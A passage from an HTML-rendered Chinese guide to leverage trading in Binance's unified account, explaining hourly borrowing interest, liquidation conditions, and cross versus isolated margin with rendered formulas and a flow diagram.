mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cos</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：利息费用</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span>：借款金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：小时利率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>：借款时间（小时）</li></ul><p><strong>公式原理：</strong><br>杠杆交易的利息成本按小时计算，利率根据资金供需关系动态调整。借款时间越长、金额越大，利息成本越高，这促使交易者合理控制持仓时间和规模。</p><p><strong>示例计算：</strong><br>借入10,000 USDT，小时利率0.03%：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">0.03%</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">3</span><span class="mord text"><span class="mord"> USDT</span></span></span></span></span></span></p><h3 id="11-4-强制平仓触发条件">11.4 强制平仓触发条件</h3><p><strong>交叉保证金强制平仓：</strong></p><ul><li>当账户风险率降至预定阈值时触发</li><li>系统自动平仓部分或全部仓位</li><li>考虑仓位净值与资产交易深度比率</li></ul><p><strong>隔离保证金强制平仓：</strong></p><ul><li>每个仓位独立计算风险</li><li>单一仓位达到强平条件时仅平仓该仓位</li><li>不影响其他仓位</li></ul><h2 id="12-杠杆交易完整指南">12. 杠杆交易完整指南</h2><p>本章节提供杠杆交易的完整指南，深入解析全仓杠杆与逐仓杠杆的运作机制、风险特征和实际应用策略。杠杆交易作为统一账户体系的核心功能之一，不仅能够显著提升资金利用效率，还能通过灵活的风险管理模式适应不同的交易策略需求。掌握杠杆交易的精髓，对于充分发挥统一账户优势、实现稳健盈利至关重要。</p><h3 id="12-1-杠杆交易基础概念">12.1 杠杆交易基础概念</h3><p>杠杆交易是使用借入资金来放大交易头寸的交易方式。在币安的统一账户体系中，杠杆交易分为全仓杠杆和逐仓杠杆两种模式，它们在风险管理、资金效率和操作复杂度方面各有特点。</p><p><strong>杠杆交易的本质：</strong><br>杠杆交易允许交易者使用超过自有资金的金额进行交易，从而放大潜在的收益和损失。当你使用3倍杠杆时，1000USDT的本金可以控制3000USDT的仓位。</p><p><strong>杠杆交易的数学原理：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：仓位价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：保证金金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>：杠杆倍数</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">re</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：收益率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>：价格变化</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：初始价格</li></ul><pre><code class="highlight mermaid">graph TD    subgraph &quot;杠杆交易类型体系&quot;        A[&quot;杠杆交易模式&lt;br/&gt;⚖️ Leverage Trading&quot;]        subgraph &quot;全仓杠杆 Cross Margin&quot;            B1[&quot;统一抵押品池&lt;br/&gt;🏦 All Assets as Collateral&quot;]            B2[&quot;多币种交叉担保&lt;br/&gt;🔄 Multi-Asset Support&quot;]            B3[&quot;资金效率最高&lt;br/&gt;🚀 Maximum Capital Efficiency&quot;]            B4[&quot;风险统一管理&lt;br/&gt;📊 Unified Risk Management&quot;]            subgraph &quot;全仓特点&quot;                B5[&quot;最大杠杆: 3-5倍&lt;br/&gt;📈 Higher Leverage Available&quot;]                B6[&quot;风险分散效应&lt;br/&gt;🛡️ Risk Diversification&quot;]                B7[&quot;操作简单便捷&lt;br/&gt;✅ User-Friendly Interface&quot;]            end        end        subgraph &quot;逐仓杠杆 Isolated Margin&quot;            C1[&quot;独立账户体系&lt;br/&gt;🏛️ Separate Account System&quot;]            C2[&quot;风险完全隔离&lt;br/&gt;🔒 Complete Risk Isolation&quot;]            C3[&quot;损失可控性强&lt;br/&gt;🎯 Controlled Loss Exposure&quot;]            C4[&quot;保证金独立计算&lt;br/&gt;🧮 Independent Margin Calc&quot;]            subgraph &quot;逐仓特点&quot;                C5[&quot;阶梯杠杆系统&lt;br/&gt;📊 Tiered Leverage System&quot;]                C6[&quot;风险精确控制&lt;br/&gt;⚡ Precise Risk Control&quot;]                C7[&quot;适合高风险策略&lt;br/&gt;🎲 High-Risk Strategy Friendly&quot;]            end        end        subgraph &quot;杠杆倍数与风险关系&quot;            D1[&quot;1倍杠杆&lt;br/&gt;💎 无风险基准&quot;]            D2[&quot;3倍杠杆&lt;br/&gt;⚖️ 中等风险&quot;]            D3[&quot;5倍杠杆&lt;br/&gt;🔥 高风险&quot;]            D4[&quot;10倍杠杆&lt;br/&gt;⚠️ 极高风险&quot;]            E1[&quot;收益放大: 3-10倍&lt;br/&gt;📈 Amplified Returns&quot;]            E2[&quot;损失放大: 3-10倍&lt;br/&gt;📉 Amplified Losses&quot;]            E3[&quot;强平风险递增&lt;br/&gt;💥 Liquidation Risk Increases&quot;]        end        subgraph &quot;应用场景矩阵&quot;            F1[&quot;多元化投资组合&lt;br/&gt;🎯 选择全仓杠杆&quot;]            F2[&quot;单币种投机交易&lt;br/&gt;🎲 选择逐仓杠杆&quot;]            F3[&quot;长期价值投资&lt;br/&gt;💎 低杠杆策略&quot;]            F4[&quot;短期套利交易&lt;br/&gt;⚡ 高杠杆策略&quot;]        end        subgraph &quot;风险管理工具&quot;            G1[&quot;止损订单&lt;br/&gt;🛑 Stop-Loss Orders&quot;]            G2[&quot;仓位监控&lt;br/&gt;👁️ Position Monitoring&quot;]            G3[&quot;风险率报警&lt;br/&gt;🚨 Risk Alert System&quot;]            G4[&quot;强制平仓机制&lt;br/&gt;⚡ Liquidation Mechanism&quot;]        end    end    A --&gt; B1    A --&gt; C1    B1 --&gt; B2    B2 --&gt; B3    B3 --&gt; B4    B4 --&gt; B5    B5 --&gt; B6    B6 --&gt; B7    C1 --&gt; C2    C2 --&gt; C3    C3 --&gt; C4    C4 --&gt; C5    C5 --&gt; C6    C6 --&gt; C7    B3 --&gt; D2    B3 --&gt; D3    C6 --&gt; D3    C6 --&gt; D4    D2 --&gt; E1    D3 --&gt; E1    D4 --&gt; E1    D2 --&gt; E2    D3 --&gt; E2    D4 --&gt; E2    E2 --&gt; E3    B6 --&gt; F1    C6 --&gt; F2    D1 --&gt; F3    D4 --&gt; F4    E3 --&gt; G1    E3 --&gt; G2    E3 --&gt; G3    E3 --&gt; G4    style A fill:#e3f2fd    style B1 fill:#e8f5e8    style B2 fill:#e8f5e8    style B3 fill:#e8f5e8    style B4 fill:#e8f5e8    style B5 fill:#fff3e0    style B6 fill:#fff3e0    style B7 fill:#fff3e0    style C1 fill:#ffebee    style C2 fill:#ffebee    style C3 fill:#ffebee    style C4 fill:#ffebee    style C5 fill:#ffe0b2    style C6 fill:#ffe0b2    style C7 fill:#ffe0b2    style D1 fill:#c8e6c8    style D2 fill:#fff9c4    style D3 fill:#ffcc80    style D4 fill:#ffcdd2    style E1 fill:#e8f5e8    style E2 fill:#ffcdd2    style E3 fill:#ffcdd2    style F1 fill:#e8f5e8    style F2 fill:#ffebee    style F3 fill:#c8e6c8    style F4 fill:#ffcdd2    style G1 fill:#e1f5fe    style G2 fill:#e1f5fe    style G3 fill:#e1f5fe    style G4 fill:#e1f5fe</code></pre><h3 id="12-2-全仓杠杆详解">12.2 全仓杠杆详解</h3><p>全仓杠杆（Cross Margin）是在单一账户中进行多币种杠杆交易的模式，所有资产作为统一的抵押品池。</p><h4 id="12-2-1-全仓杠杆的核心特征">12.2.1 全仓杠杆的核心特征</h4><p><strong>资产共享机制：</strong></p><ul><li>所有资产作为统一抵押品</li><li>支持多币种交叉担保</li><li>风险在整个账户层面统一计算</li></ul><p><strong>风险率计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cross</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3324em;vertical-align:-0.9721em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cross</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：全仓风险率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：账户总资产价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：负债总值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：未归还利息</li></ul><p><strong>抵押价值计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：抵押价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord 